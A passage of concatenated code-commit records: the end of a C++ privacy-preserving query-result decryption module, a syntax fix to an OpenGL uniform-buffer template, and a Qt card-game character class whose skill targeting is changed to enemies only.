RETURN_IF_ERROR(Decompress(request.compression_parameters(), result));\n\n return result;\n}\n} \/\/ namespace wfa::panelmatch::client::privatemembership\n<commit_msg>Remove unnecessary check in private membership decryption (#333)<commit_after>\/\/ Copyright 2021 The Cross-Media Measurement Authors\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"wfa\/panelmatch\/client\/privatemembership\/decrypt_query_results.h\"\n\n#include <memory>\n#include <string>\n#include <utility>\n\n#include \"absl\/memory\/memory.h\"\n#include \"absl\/status\/status.h\"\n#include \"absl\/status\/statusor.h\"\n#include \"common_cpp\/macros\/macros.h\"\n#include \"google\/protobuf\/repeated_field.h\"\n#include \"private_membership\/rlwe\/batch\/cpp\/client\/client.h\"\n#include \"private_membership\/rlwe\/batch\/proto\/client.pb.h\"\n#include \"private_membership\/rlwe\/batch\/proto\/shared.pb.h\"\n#include \"wfa\/panelmatch\/client\/exchangetasks\/join_key.pb.h\"\n#include \"wfa\/panelmatch\/client\/privatemembership\/event_data_decryptor.h\"\n#include \"wfa\/panelmatch\/client\/privatemembership\/query.pb.h\"\n#include \"wfa\/panelmatch\/common\/compression\/compressor.h\"\n#include \"wfa\/panelmatch\/common\/compression\/make_compressor.h\"\n\nnamespace wfa::panelmatch::client::privatemembership {\n\nnamespace {\nusing ClientEncryptedQueryResult =\n ::private_membership::batch::EncryptedQueryResult;\nusing ClientDecryptedQueryResult =\n ::private_membership::batch::DecryptedQueryResult;\nusing ClientDecryptQueriesRequest =\n ::private_membership::batch::DecryptQueriesRequest;\nusing ClientDecryptQueriesResponse =\n ::private_membership::batch::DecryptQueriesResponse;\nusing ::private_membership::batch::DecryptQueries;\n\nabsl::StatusOr<ClientDecryptQueriesResponse> RemoveRlwe(\n const DecryptQueryResultsRequest& request) {\n ClientDecryptQueriesRequest client_decrypt_queries_request;\n client_decrypt_queries_request.mutable_parameters()->ParseFromString(\n request.serialized_parameters());\n client_decrypt_queries_request.mutable_private_key()->ParseFromString(\n request.serialized_private_key());\n client_decrypt_queries_request.mutable_public_key()->ParseFromString(\n request.serialized_public_key());\n for (const EncryptedQueryResult& encrypted_query_result :\n request.encrypted_query_results()) {\n client_decrypt_queries_request.add_encrypted_queries()->ParseFromString(\n encrypted_query_result.serialized_encrypted_query_result());\n }\n return DecryptQueries(client_decrypt_queries_request);\n}\n\nabsl::StatusOr<DecryptedEventDataSet> RemoveAesFromDecryptedQueryResult(\n const ClientDecryptedQueryResult& client_decrypted_query_result,\n const std::string& lookup_key, const std::string& hkdf_pepper) {\n DecryptEventDataRequest decrypt_event_data_request;\n decrypt_event_data_request.set_hkdf_pepper(hkdf_pepper);\n decrypt_event_data_request.mutable_lookup_key()->set_key(lookup_key);\n EncryptedEventData encrypted_event_data;\n encrypted_event_data.ParseFromString(client_decrypted_query_result.result());\n decrypt_event_data_request.mutable_encrypted_event_data_set()\n ->mutable_query_id()\n ->set_id(client_decrypted_query_result.query_metadata().query_id());\n *decrypt_event_data_request.mutable_encrypted_event_data_set()\n ->mutable_encrypted_event_data()\n ->mutable_ciphertexts() =\n *std::move(encrypted_event_data.mutable_ciphertexts());\n return DecryptEventData(decrypt_event_data_request);\n}\n\nabsl::StatusOr<DecryptQueryResultsResponse> RemoveAes(\n const DecryptQueryResultsRequest& request,\n const ClientDecryptQueriesResponse& client_decrypt_queries_response) {\n DecryptQueryResultsResponse result;\n for (const ClientDecryptedQueryResult& client_decrypted_query_result :\n client_decrypt_queries_response.result()) {\n ASSIGN_OR_RETURN(\n *result.add_event_data_sets(),\n RemoveAesFromDecryptedQueryResult(client_decrypted_query_result,\n request.decrypted_join_key().key(),\n request.hkdf_pepper()));\n }\n return result;\n}\n\nabsl::Status Decompress(const CompressionParameters& compression_parameters,\n DecryptQueryResultsResponse& response) {\n ASSIGN_OR_RETURN(std::unique_ptr<Compressor> compressor,\n MakeCompressor(compression_parameters));\n for (auto& data_set : *response.mutable_event_data_sets()) {\n for (Plaintext& plaintext : *data_set.mutable_decrypted_event_data()) {\n ASSIGN_OR_RETURN(*plaintext.mutable_payload(),\n compressor->Decompress(plaintext.payload()));\n }\n }\n return absl::OkStatus();\n}\n} \/\/ namespace\n\nabsl::StatusOr<DecryptQueryResultsResponse> DecryptQueryResults(\n const DecryptQueryResultsRequest& request) {\n \/\/ Step 1: Decrypt the encrypted query response\n ASSIGN_OR_RETURN(ClientDecryptQueriesResponse client_decrypt_queries_response,\n RemoveRlwe(request));\n\n \/\/ If this is for a padding query, don't attempt to remove AES or decompress.\n absl::string_view join_key = request.decrypted_join_key().key();\n if (join_key.empty()) {\n DecryptQueryResultsResponse result;\n for (const ClientDecryptedQueryResult& client_decrypted_query_result :\n client_decrypt_queries_response.result()) {\n DecryptedEventDataSet* decrypted_data_set = result.add_event_data_sets();\n decrypted_data_set->mutable_query_id()->set_id(\n client_decrypted_query_result.query_metadata().query_id());\n decrypted_data_set->add_decrypted_event_data()->set_payload(\n client_decrypted_query_result.result());\n }\n return result;\n }\n\n \/\/ Step 2: Decrypt the encrypted event data\n ASSIGN_OR_RETURN(DecryptQueryResultsResponse result,\n RemoveAes(request, client_decrypt_queries_response));\n\n \/\/ Step 3: Decompress the decrypted event data\n RETURN_IF_ERROR(Decompress(request.compression_parameters(), result));\n\n return result;\n}\n} \/\/ namespace wfa::panelmatch::client::privatemembership\n<|endoftext|>"} {"text":"<commit_before>\n#include <cassert>\n#include <iostream>\n\n#include <scm\/gl_core\/buffer_objects.h>\n#include <scm\/gl_core\/render_device.h>\n\nnamespace scm {\nnamespace gl {\n\ntemplate <class host_block_type>\nuniform_block<host_block_type>::uniform_block()\n{\n}\n\ntemplate <class host_block_type>\nuniform_block<host_block_type>::uniform_block(const render_device_ptr& in_device)\n : _host_block(new host_block_type())\n{\n _device_block = in_device->create_buffer(BIND_UNIFORM_BUFFER, USAGE_STREAM_DRAW, sizeof(host_block_type));\n}\n\ntemplate <class host_block_type>\nuniform_block<host_block_type>::uniform_block(const render_device_ptr& in_device, const host_block_type& in_block)\n : _host_block(new host_block_type(in_block)),\n{\n _device_block = in_device->create_buffer(BIND_UNIFORM_BUFFER, USAGE_STREAM_DRAW, sizeof(host_block_type));\n commit_block(in_device->main_context());\n}\n\ntemplate <class host_block_type>\nuniform_block<host_block_type>::~uniform_block()\n{\n reset();\n}\n\ntemplate <class host_block_type>\nvoid\nuniform_block<host_block_type>::reset()\n{\n _device_block.reset();\n _host_block.reset();\n}\n\ntemplate <class host_block_type>\nvoid\nuniform_block<host_block_type>::begin_manipulation(const render_context_ptr& in_context)\n{\n assert(_device_block);\n assert(_host_block);\n\n _current_context = in_context;\n}\n\ntemplate <class host_block_type>\nvoid\nuniform_block<host_block_type>::end_manipulation()\n{\n assert(_device_block);\n assert(_host_block);\n\n commit_block(_current_context);\n _current_context.reset();\n}\n\ntemplate <class host_block_type>\ntypename uniform_block<host_block_type>::block_type&\nuniform_block<host_block_type>::operator*() const\n{\n return (*_host_block);\n}\n\ntemplate <class host_block_type>\ntypename uniform_block<host_block_type>::block_type*\nuniform_block<host_block_type>::operator->() const\n{\n return (_host_block.get());\n}\n\ntemplate <class host_block_type>\ntypename uniform_block<host_block_type>::block_type*\nuniform_block<host_block_type>::get_block() const\n{\n return (_host_block.get());\n}\n\ntemplate <class host_block_type>\nconst buffer_ptr&\nuniform_block<host_block_type>::block_buffer() const\n{\n return (_device_block);\n}\n\ntemplate <class host_block_type>\nvoid\nuniform_block<host_block_type>::commit_block(const render_context_ptr& in_context)\n{\n using namespace scm::gl;\n\n assert(_device_block);\n assert(_host_block);\n\n block_type* gpu_block = reinterpret_cast<block_type*>(in_context->map_buffer(_device_block, ACCESS_WRITE_INVALIDATE_BUFFER));\n\n if (memcpy(gpu_block, _host_block.get(), sizeof(block_type)) != gpu_block) {\n std::cerr << \"uniform_block<>::commit_block(): error copying host block to gpu memory.\" << std::endl; \n }\n\n in_context->unmap_buffer(_device_block);\n}\n\ntemplate <class host_block_type>\nuniform_block<host_block_type>\nmake_uniform_block(const render_device_ptr& in_device)\n{\n return (uniform_block<host_block_type>(in_device));\n}\n\ntemplate <class host_block_type>\nuniform_block<host_block_type>\nmake_uniform_block(const render_device_ptr& in_device, const host_block_type& in_block)\n{\n return (uniform_block<host_block_type>(in_device, in_block));\n}\n\n} \/\/ namespace gl\n} \/\/ namespace scm\n<commit_msg>linux fix uniform_buffer_adaptor<commit_after>\n#include <cassert>\n#include <iostream>\n\n#include <scm\/gl_core\/buffer_objects.h>\n#include <scm\/gl_core\/render_device.h>\n\nnamespace scm {\nnamespace gl {\n\ntemplate <class host_block_type>\nuniform_block<host_block_type>::uniform_block()\n{\n}\n\ntemplate <class host_block_type>\nuniform_block<host_block_type>::uniform_block(const render_device_ptr& in_device)\n : _host_block(new host_block_type())\n{\n _device_block = in_device->create_buffer(BIND_UNIFORM_BUFFER, USAGE_STREAM_DRAW, sizeof(host_block_type));\n}\n\ntemplate <class host_block_type>\nuniform_block<host_block_type>::uniform_block(const render_device_ptr& in_device, const host_block_type& in_block)\n : _host_block(new host_block_type(in_block))\n{\n _device_block = in_device->create_buffer(BIND_UNIFORM_BUFFER, USAGE_STREAM_DRAW, sizeof(host_block_type));\n commit_block(in_device->main_context());\n}\n\ntemplate <class host_block_type>\nuniform_block<host_block_type>::~uniform_block()\n{\n reset();\n}\n\ntemplate <class host_block_type>\nvoid\nuniform_block<host_block_type>::reset()\n{\n _device_block.reset();\n _host_block.reset();\n}\n\ntemplate <class host_block_type>\nvoid\nuniform_block<host_block_type>::begin_manipulation(const render_context_ptr& in_context)\n{\n assert(_device_block);\n assert(_host_block);\n\n _current_context = in_context;\n}\n\ntemplate <class host_block_type>\nvoid\nuniform_block<host_block_type>::end_manipulation()\n{\n assert(_device_block);\n assert(_host_block);\n\n commit_block(_current_context);\n _current_context.reset();\n}\n\ntemplate <class host_block_type>\ntypename uniform_block<host_block_type>::block_type&\nuniform_block<host_block_type>::operator*() const\n{\n return (*_host_block);\n}\n\ntemplate <class host_block_type>\ntypename uniform_block<host_block_type>::block_type*\nuniform_block<host_block_type>::operator->() const\n{\n return (_host_block.get());\n}\n\ntemplate <class host_block_type>\ntypename uniform_block<host_block_type>::block_type*\nuniform_block<host_block_type>::get_block() const\n{\n return (_host_block.get());\n}\n\ntemplate <class host_block_type>\nconst buffer_ptr&\nuniform_block<host_block_type>::block_buffer() const\n{\n return (_device_block);\n}\n\ntemplate <class host_block_type>\nvoid\nuniform_block<host_block_type>::commit_block(const render_context_ptr& in_context)\n{\n using namespace scm::gl;\n\n assert(_device_block);\n assert(_host_block);\n\n block_type* gpu_block = reinterpret_cast<block_type*>(in_context->map_buffer(_device_block, ACCESS_WRITE_INVALIDATE_BUFFER));\n\n if (memcpy(gpu_block, _host_block.get(), sizeof(block_type)) != gpu_block) {\n std::cerr << \"uniform_block<>::commit_block(): error copying host block to gpu memory.\" << std::endl; \n }\n\n in_context->unmap_buffer(_device_block);\n}\n\ntemplate <class host_block_type>\nuniform_block<host_block_type>\nmake_uniform_block(const render_device_ptr& in_device)\n{\n return (uniform_block<host_block_type>(in_device));\n}\n\ntemplate <class host_block_type>\nuniform_block<host_block_type>\nmake_uniform_block(const render_device_ptr& in_device, const host_block_type& in_block)\n{\n return (uniform_block<host_block_type>(in_device, in_block));\n}\n\n} \/\/ namespace gl\n} \/\/ namespace scm\n<|endoftext|>"} {"text":"<commit_before>#include <QSound>\r\n\r\n#include \"MoNv.h\"\r\nenum CAUSE{\r\n CANG_YAN_FA_DIAN=3001,\r\n TIAN_HUO_DUAN_KONG=3002,\r\n MO_NV_ZHI_NU=3003,\r\n MO_NV_ZHI_NU_ATTACK=30031,\r\n TI_SHEN_WAN_OU=3004,\r\n YONG_SHENG_YIN_SHI_JI=3005,\r\n TONG_KU_LIAN_JIE=3006,\r\n TONG_KU_LIAN_JIE_CARD=30061,\r\n MO_NENG_FAN_ZHUAN=3007\r\n};\r\n\r\nMoNv::MoNv()\r\n{\r\n makeConnection();\r\n setMyRole(this);\r\n Button *cangYanFaDian, *tianHuoDuanKong, *tongKuLianJie;\r\n cangYanFaDian = new Button(3,QStringLiteral(\"苍炎法典\"));\r\n buttonArea->addButton(cangYanFaDian);\r\n connect(cangYanFaDian,SIGNAL(buttonSelected(int)),this,SLOT(CangYanFaDian()));\r\n\r\n tianHuoDuanKong = new Button(4,QStringLiteral(\"天火断空\"));\r\n buttonArea->addButton(tianHuoDuanKong);\r\n connect(tianHuoDuanKong,SIGNAL(buttonSelected(int)),this,SLOT(TianHuoDuanKong()));\r\n\r\n tongKuLianJie = new Button(5,QStringLiteral(\"痛苦链接\"));\r\n buttonArea->addButton(tongKuLianJie);\r\n connect(tongKuLianJie,SIGNAL(buttonSelected(int)),this,SLOT(TongKuLianJie()));\r\n}\r\n\r\nint MoNv::checkFire()\r\n{\r\n Player* myself=dataInterface->getMyself();\r\n SafeList<Card*> handcards = dataInterface->getHandCards();\r\n int fire = 0;\r\n for(int i=0; i<handcards.size();i++)\r\n {\r\n if(handcards[i]->getElement() == QStringLiteral(\"fire\"))\r\n fire ++;\r\n if(myself->getTap() && handcards[i]->getType() == \"attack\" &&\r\n (handcards[i]->getElement() == \"thunder\" || handcards[i]->getElement() == \"earth\" || handcards[i]->getElement() == \"wind\"))\r\n fire ++;\r\n }\r\n return fire;\r\n}\r\n\r\nvoid MoNv::enbleFire()\r\n{\r\n Player* myself=dataInterface->getMyself();\r\n if(myself->getTap())\r\n {\r\n handArea->enableTypeAndElement(QStringLiteral(\"attack\"), QStringLiteral(\"thunder\"));\r\n handArea->enableTypeAndElement(QStringLiteral(\"attack\"), QStringLiteral(\"wind\"));\r\n handArea->enableTypeAndElement(QStringLiteral(\"attack\"), QStringLiteral(\"earth\"));\r\n }\r\n handArea->enableElement(QStringLiteral(\"fire\"));\r\n}\r\n\r\nvoid MoNv::enbleFireAttack(QString element)\r\n{\r\n Player* myself=dataInterface->getMyself();\r\n if(myself->getTap())\r\n {\r\n if(element == \"water\")\r\n handArea->enableElement(element);\r\n if(element == \"fire\")\r\n {\r\n handArea->enableElement(\"fire\");\r\n handArea->enableElement(\"thunder\");\r\n handArea->enableElement(\"earth\");\r\n handArea->enableElement(\"wind\");\r\n }\r\n }\r\n else\r\n {\r\n handArea->enableElement(element);\r\n }\r\n}\r\n\r\nvoid MoNv::attacked(QString element,int hitRate)\r\n{\r\n state=2;\r\n playerArea->setQuota(1);\r\n handArea->setQuota(1);\r\n\r\n decisionArea->enable(1);\r\n if(hitRate==0)\r\n {\r\n this->enbleFireAttack(element);\r\n handArea->enableElement(\"darkness\");\r\n }\r\n handArea->disableMagic();\r\n handArea->enableElement(\"light\");\r\n gui->alert();\r\n QSound::play(\"sound\/Warning.wav\");\r\n}\r\n\r\nvoid MoNv::normal()\r\n{\r\n Role::normal();\r\n Player* myself=dataInterface->getMyself();\r\n int fire = checkFire();\r\n if(fire > 0)\r\n buttonArea->enable(3);\r\n if(fire > 1 && (myself->getToken(0)>0 || myself->getTap()))\r\n buttonArea->enable(4);\r\n if(myself->getEnergy()>0)\r\n buttonArea->enable(5);\r\n unactionalCheck();\r\n}\r\n\r\n\r\nvoid MoNv::CangYanFaDian()\r\n{\r\n state = CANG_YAN_FA_DIAN;\r\n handArea->reset();\r\n playerArea->reset();\r\n tipArea->reset();\r\n\r\n this->enbleFire();\r\n\r\n handArea->setQuota(1);\r\n playerArea->setQuota(1);\r\n\r\n decisionArea->enable(1);\r\n decisionArea->disable(0);\r\n}\r\n\r\nvoid MoNv::TianHuoDuanKong()\r\n{\r\n state = TIAN_HUO_DUAN_KONG;\r\n handArea->reset();\r\n playerArea->reset();\r\n tipArea->reset();\r\n\r\n this->enbleFire();\r\n\r\n handArea->setQuota(2);\r\n playerArea->setQuota(1);\r\n\r\n playerArea->setQuota(1);\r\n\r\n decisionArea->enable(1);\r\n decisionArea->disable(0);\r\n}\r\n\r\nvoid MoNv::TongKuLianJie()\r\n{\r\n state = TONG_KU_LIAN_JIE;\r\n handArea->reset();\r\n playerArea->reset();\r\n tipArea->reset();\r\n\r\n playerArea->enableAll();\r\n\r\n playerArea->setQuota(1);\r\n\r\n decisionArea->enable(1);\r\n decisionArea->disable(0);\r\n}\r\n\r\nvoid MoNv::cardAnalyse()\r\n{\r\n Role::cardAnalyse();\r\n\r\n switch (state)\r\n {\r\n case CANG_YAN_FA_DIAN:\r\n case TIAN_HUO_DUAN_KONG:\r\n playerArea->enableAll();\r\n break;\r\n case TI_SHEN_WAN_OU:\r\n playerArea->enableMate();\r\n break;\r\n case MO_NENG_FAN_ZHUAN:\r\n playerArea->enableEnemy();\r\n break;\r\n }\r\n}\r\n\r\nvoid MoNv::MoNvZhiNu()\r\n{\r\n state = MO_NV_ZHI_NU;\r\n gui->reset();\r\n tipArea->setMsg(QStringLiteral(\"发动【魔女之怒】,并选择要摸取的手牌数量\"));\r\n for(int i =0; i < 3 ; i ++)\r\n tipArea->addBoxItem(QString::number(i));\r\n tipArea->showBox();\r\n decisionArea->enable(0);\r\n decisionArea->enable(1);\r\n}\r\n\r\nvoid MoNv::TiShenWanOu()\r\n{\r\n state=TI_SHEN_WAN_OU;\r\n gui->reset();\r\n tipArea->setMsg(QStringLiteral(\"是否发动替身玩偶\"));\r\n handArea->setQuota(1);\r\n handArea->enableMagic();\r\n decisionArea->enable(1);\r\n}\r\n\r\nvoid MoNv::MoNengFanZhuan()\r\n{\r\n state=MO_NENG_FAN_ZHUAN;\r\n gui->reset();\r\n tipArea->setMsg(QStringLiteral(\"是否发动魔能反转\"));\r\n handArea->setQuota(2,9);\r\n handArea->enableMagic();\r\n decisionArea->enable(1);\r\n}\r\n\r\nvoid MoNv::askForSkill(network::Command* cmd)\r\n{\r\n switch (cmd->respond_id()) {\r\n case MO_NV_ZHI_NU:\r\n MoNvZhiNu();\r\n break;\r\n case TI_SHEN_WAN_OU:\r\n TiShenWanOu();\r\n break;\r\n case MO_NENG_FAN_ZHUAN:\r\n MoNengFanZhuan();\r\n break;\r\n default:\r\n Role::askForSkill(cmd);\r\n break;\r\n }\r\n}\r\n\r\nvoid MoNv::onOkClicked()\r\n{\r\n Player* myself=dataInterface->getMyself();\r\n SafeList<Card*> selectedCards;\r\n SafeList<Player*>selectedPlayers;\r\n\r\n selectedCards=handArea->getSelectedCards();\r\n selectedPlayers=playerArea->getSelectedPlayers();\r\n\r\n network::Action* action;\r\n network::Respond* respond;\r\n\r\n try{\r\n switch(state)\r\n {\r\n case 1:\r\n if(selectedCards[0]->getType()==\"attack\" && myself->getTap() &&\r\n (selectedCards[0]->getElement() == \"thunder\" || selectedCards[0]->getElement() == \"earth\" || selectedCards[0]->getElement() == \"wind\")){\r\n state = MO_NV_ZHI_NU_ATTACK;\r\n action = newAction(ACTION_ATTACK_SKILL, MO_NV_ZHI_NU_ATTACK);\r\n action->add_dst_ids(selectedPlayers[0]->getID());\r\n action->add_card_ids(selectedCards[0]->getID());\r\n usedAttack=true;\r\n usedMagic=usedSpecial=false;\r\n gui->reset();\r\n emit sendCommand(network::MSG_ACTION, action);\r\n }\r\n break;\r\n case TI_SHEN_WAN_OU:\r\n respond = new network::Respond();\r\n respond->set_src_id(myID);\r\n respond->set_respond_id(TI_SHEN_WAN_OU);\r\n respond->add_card_ids(selectedCards[0]->getID());\r\n respond->add_dst_ids(selectedPlayers[0]->getID());\r\n respond->add_args(1);\/\/ 1表示选择发动\r\n emit sendCommand(network::MSG_RESPOND, respond);\r\n gui->reset();\r\n break;\r\n case MO_NENG_FAN_ZHUAN:\r\n respond = new network::Respond();\r\n respond->set_src_id(myID);\r\n respond->set_respond_id(MO_NENG_FAN_ZHUAN);\r\n respond->add_dst_ids(selectedPlayers[0]->getID());\r\n for(int i =0; i < selectedCards.size();i++)\r\n respond->add_card_ids(selectedCards[i]->getID());\r\n respond->add_args(1);\/\/ 1表示选择发动\r\n emit sendCommand(network::MSG_RESPOND, respond);\r\n gui->reset();\r\n break;\r\n case MO_NV_ZHI_NU:\r\n respond = new network::Respond();\r\n respond->set_src_id(myID);\r\n respond->set_respond_id(MO_NV_ZHI_NU);\r\n respond->add_args(1);\/\/ 1表示选择发动\r\n respond->add_args(tipArea->getBoxCurrentText().toInt());\r\n emit sendCommand(network::MSG_RESPOND, respond);\r\n start =true;\r\n\t\tgui->reset();\r\n break;\r\n case CANG_YAN_FA_DIAN:\r\n action = newAction(ACTION_MAGIC_SKILL, CANG_YAN_FA_DIAN);\r\n action->set_src_id(myID);\r\n\r\n action->add_card_ids(selectedCards[0]->getID());\r\n action->add_dst_ids(selectedPlayers[0]->getID());\r\n\r\n emit sendCommand(network::MSG_ACTION, action);\r\n gui->reset();\r\n break;\r\n case TIAN_HUO_DUAN_KONG:\r\n action = newAction(ACTION_MAGIC_SKILL, TIAN_HUO_DUAN_KONG);\r\n action->set_src_id(myID);\r\n\r\n action->add_card_ids(selectedCards[0]->getID());\r\n action->add_card_ids(selectedCards[1]->getID());\r\n action->add_dst_ids(selectedPlayers[0]->getID());\r\n\r\n emit sendCommand(network::MSG_ACTION, action);\r\n gui->reset();\r\n break;\r\n case TONG_KU_LIAN_JIE:\r\n action = newAction(ACTION_MAGIC_SKILL, TONG_KU_LIAN_JIE);\r\n action->set_src_id(myID);\r\n action->add_dst_ids(selectedPlayers[0]->getID());\r\n\r\n action->add_args(1);\r\n\r\n emit sendCommand(network::MSG_ACTION, action);\r\n gui->reset();\r\n break;\r\n }\r\n }catch(int error){\r\n logic->onError(error);\r\n }\r\n Role::onOkClicked();\r\n}\r\n\r\nvoid MoNv::onCancelClicked()\r\n{\r\n Role::onCancelClicked();\r\n\r\n network::Respond* respond;\r\n\r\n switch(state)\r\n {\r\n case MO_NV_ZHI_NU:\r\n case TI_SHEN_WAN_OU:\r\n case MO_NENG_FAN_ZHUAN:\r\n respond = new network::Respond();\r\n respond->set_src_id(myID);\r\n respond->set_respond_id(state);\r\n respond->add_args(0);\r\n emit sendCommand(network::MSG_RESPOND, respond);\r\n gui->reset();\r\n break;\r\n case CANG_YAN_FA_DIAN:\r\n case TIAN_HUO_DUAN_KONG:\r\n case TONG_KU_LIAN_JIE:\r\n normal();\r\n break;\r\n }\r\n}\r\n<commit_msg>魔女 痛苦链接<commit_after>#include <QSound>\r\n\r\n#include \"MoNv.h\"\r\nenum CAUSE{\r\n CANG_YAN_FA_DIAN=3001,\r\n TIAN_HUO_DUAN_KONG=3002,\r\n MO_NV_ZHI_NU=3003,\r\n MO_NV_ZHI_NU_ATTACK=30031,\r\n TI_SHEN_WAN_OU=3004,\r\n YONG_SHENG_YIN_SHI_JI=3005,\r\n TONG_KU_LIAN_JIE=3006,\r\n TONG_KU_LIAN_JIE_CARD=30061,\r\n MO_NENG_FAN_ZHUAN=3007\r\n};\r\n\r\nMoNv::MoNv()\r\n{\r\n makeConnection();\r\n setMyRole(this);\r\n Button *cangYanFaDian, *tianHuoDuanKong, *tongKuLianJie;\r\n cangYanFaDian = new Button(3,QStringLiteral(\"苍炎法典\"));\r\n buttonArea->addButton(cangYanFaDian);\r\n connect(cangYanFaDian,SIGNAL(buttonSelected(int)),this,SLOT(CangYanFaDian()));\r\n\r\n tianHuoDuanKong = new Button(4,QStringLiteral(\"天火断空\"));\r\n buttonArea->addButton(tianHuoDuanKong);\r\n connect(tianHuoDuanKong,SIGNAL(buttonSelected(int)),this,SLOT(TianHuoDuanKong()));\r\n\r\n tongKuLianJie = new Button(5,QStringLiteral(\"痛苦链接\"));\r\n buttonArea->addButton(tongKuLianJie);\r\n connect(tongKuLianJie,SIGNAL(buttonSelected(int)),this,SLOT(TongKuLianJie()));\r\n}\r\n\r\nint MoNv::checkFire()\r\n{\r\n Player* myself=dataInterface->getMyself();\r\n SafeList<Card*> handcards = dataInterface->getHandCards();\r\n int fire = 0;\r\n for(int i=0; i<handcards.size();i++)\r\n {\r\n if(handcards[i]->getElement() == QStringLiteral(\"fire\"))\r\n fire ++;\r\n if(myself->getTap() && handcards[i]->getType() == \"attack\" &&\r\n (handcards[i]->getElement() == \"thunder\" || handcards[i]->getElement() == \"earth\" || handcards[i]->getElement() == \"wind\"))\r\n fire ++;\r\n }\r\n return fire;\r\n}\r\n\r\nvoid MoNv::enbleFire()\r\n{\r\n Player* myself=dataInterface->getMyself();\r\n if(myself->getTap())\r\n {\r\n handArea->enableTypeAndElement(QStringLiteral(\"attack\"), QStringLiteral(\"thunder\"));\r\n handArea->enableTypeAndElement(QStringLiteral(\"attack\"), QStringLiteral(\"wind\"));\r\n handArea->enableTypeAndElement(QStringLiteral(\"attack\"), QStringLiteral(\"earth\"));\r\n }\r\n handArea->enableElement(QStringLiteral(\"fire\"));\r\n}\r\n\r\nvoid MoNv::enbleFireAttack(QString element)\r\n{\r\n Player* myself=dataInterface->getMyself();\r\n if(myself->getTap())\r\n {\r\n if(element == \"water\")\r\n handArea->enableElement(element);\r\n if(element == \"fire\")\r\n {\r\n handArea->enableElement(\"fire\");\r\n handArea->enableElement(\"thunder\");\r\n handArea->enableElement(\"earth\");\r\n handArea->enableElement(\"wind\");\r\n }\r\n }\r\n else\r\n {\r\n handArea->enableElement(element);\r\n }\r\n}\r\n\r\nvoid MoNv::attacked(QString element,int hitRate)\r\n{\r\n state=2;\r\n playerArea->setQuota(1);\r\n handArea->setQuota(1);\r\n\r\n decisionArea->enable(1);\r\n if(hitRate==0)\r\n {\r\n this->enbleFireAttack(element);\r\n handArea->enableElement(\"darkness\");\r\n }\r\n handArea->disableMagic();\r\n handArea->enableElement(\"light\");\r\n gui->alert();\r\n QSound::play(\"sound\/Warning.wav\");\r\n}\r\n\r\nvoid MoNv::normal()\r\n{\r\n Role::normal();\r\n Player* myself=dataInterface->getMyself();\r\n int fire = checkFire();\r\n if(fire > 0)\r\n buttonArea->enable(3);\r\n if(fire > 1 && (myself->getToken(0)>0 || myself->getTap()))\r\n buttonArea->enable(4);\r\n if(myself->getEnergy()>0)\r\n buttonArea->enable(5);\r\n unactionalCheck();\r\n}\r\n\r\n\r\nvoid MoNv::CangYanFaDian()\r\n{\r\n state = CANG_YAN_FA_DIAN;\r\n handArea->reset();\r\n playerArea->reset();\r\n tipArea->reset();\r\n\r\n this->enbleFire();\r\n\r\n handArea->setQuota(1);\r\n playerArea->setQuota(1);\r\n\r\n decisionArea->enable(1);\r\n decisionArea->disable(0);\r\n}\r\n\r\nvoid MoNv::TianHuoDuanKong()\r\n{\r\n state = TIAN_HUO_DUAN_KONG;\r\n handArea->reset();\r\n playerArea->reset();\r\n tipArea->reset();\r\n\r\n this->enbleFire();\r\n\r\n handArea->setQuota(2);\r\n playerArea->setQuota(1);\r\n\r\n playerArea->setQuota(1);\r\n\r\n decisionArea->enable(1);\r\n decisionArea->disable(0);\r\n}\r\n\r\nvoid MoNv::TongKuLianJie()\r\n{\r\n state = TONG_KU_LIAN_JIE;\r\n handArea->reset();\r\n playerArea->reset();\r\n tipArea->reset();\r\n\r\n playerArea->enableEnemy();\r\n\r\n playerArea->setQuota(1);\r\n\r\n decisionArea->enable(1);\r\n decisionArea->disable(0);\r\n}\r\n\r\nvoid MoNv::cardAnalyse()\r\n{\r\n Role::cardAnalyse();\r\n\r\n switch (state)\r\n {\r\n case CANG_YAN_FA_DIAN:\r\n case TIAN_HUO_DUAN_KONG:\r\n playerArea->enableAll();\r\n break;\r\n case TI_SHEN_WAN_OU:\r\n playerArea->enableMate();\r\n break;\r\n case MO_NENG_FAN_ZHUAN:\r\n playerArea->enableEnemy();\r\n break;\r\n }\r\n}\r\n\r\nvoid MoNv::MoNvZhiNu()\r\n{\r\n state = MO_NV_ZHI_NU;\r\n gui->reset();\r\n tipArea->setMsg(QStringLiteral(\"发动【魔女之怒】,并选择要摸取的手牌数量\"));\r\n for(int i =0; i < 3 ; i ++)\r\n tipArea->addBoxItem(QString::number(i));\r\n tipArea->showBox();\r\n decisionArea->enable(0);\r\n decisionArea->enable(1);\r\n}\r\n\r\nvoid MoNv::TiShenWanOu()\r\n{\r\n state=TI_SHEN_WAN_OU;\r\n gui->reset();\r\n tipArea->setMsg(QStringLiteral(\"是否发动替身玩偶\"));\r\n handArea->setQuota(1);\r\n handArea->enableMagic();\r\n decisionArea->enable(1);\r\n}\r\n\r\nvoid MoNv::MoNengFanZhuan()\r\n{\r\n state=MO_NENG_FAN_ZHUAN;\r\n gui->reset();\r\n tipArea->setMsg(QStringLiteral(\"是否发动魔能反转\"));\r\n handArea->setQuota(2,9);\r\n handArea->enableMagic();\r\n decisionArea->enable(1);\r\n}\r\n\r\nvoid MoNv::askForSkill(network::Command* cmd)\r\n{\r\n switch (cmd->respond_id()) {\r\n case MO_NV_ZHI_NU:\r\n MoNvZhiNu();\r\n break;\r\n case TI_SHEN_WAN_OU:\r\n TiShenWanOu();\r\n break;\r\n case MO_NENG_FAN_ZHUAN:\r\n MoNengFanZhuan();\r\n break;\r\n default:\r\n Role::askForSkill(cmd);\r\n break;\r\n }\r\n}\r\n\r\nvoid MoNv::onOkClicked()\r\n{\r\n Player* myself=dataInterface->getMyself();\r\n SafeList<Card*> selectedCards;\r\n SafeList<Player*>selectedPlayers;\r\n\r\n selectedCards=handArea->getSelectedCards();\r\n selectedPlayers=playerArea->getSelectedPlayers();\r\n\r\n network::Action* action;\r\n network::Respond* 